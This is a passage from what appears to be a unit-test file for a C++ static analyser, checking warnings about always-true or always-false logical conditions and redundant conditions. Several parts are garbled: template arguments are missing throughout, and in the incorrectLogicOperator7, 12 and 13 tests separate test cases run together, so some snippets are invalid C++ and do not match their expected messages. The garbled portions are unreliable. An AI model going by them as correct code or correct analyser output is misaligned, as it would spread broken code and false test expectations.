a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n 